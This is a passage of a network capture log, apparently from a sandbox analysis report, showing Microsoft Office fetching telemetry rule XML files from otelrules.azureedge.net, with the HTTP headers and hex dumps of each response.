2024-11-15 12:18:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:39 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:39 UTC	522	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121839Z-1866b5c5fbbfhwqqhC1DFW513800000000qg000000006max x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-15 12:18:39 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:39 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121839Z-16547b76f7fbkfmzhC1DFWm9tw00000000xg000000006s78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:39 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 407aa11f-d01e-0014-5ef8-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121839Z-164f84587bf28gjzhC1DFW35kg000000015000000000a4yp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:39 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121839Z-16547b76f7ffx24hhC1DFW9px400000000vg0000000061z2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:39 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:39 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121839Z-16547b76f7flf9g6hC1DFWmcx80000000amg00000000as46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:39 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:40 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: ad01162d-901e-0064-5fc3-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121839Z-16547b76f7frbg6bhC1DFWr5400000000n3g000000002qnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:40 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:40 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121840Z-1866b5c5fbbfncq9hC1DFW7rf800000001ag000000001wuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:40 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:40 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: bd00a7b8-901e-002a-72af-367a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121840Z-16547b76f7fmbrhqhC1DFWkds80000000n5g000000006zta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:40 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:40 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:40 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 0eebedfa-801e-0015-8040-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121840Z-1866b5c5fbbvqncjhC1DFW0gcw000000017g00000000byzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:40 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:40 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 94e04423-001e-008d-67ab-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121840Z-1866b5c5fbb2t6txhC1DFWa2qc000000016g00000000a8tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:40 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:40 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:40 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 3018dbe1-101e-008d-70d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121840Z-16547b76f7f9bs6dhC1DFWt3rg0000000n50000000003e2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
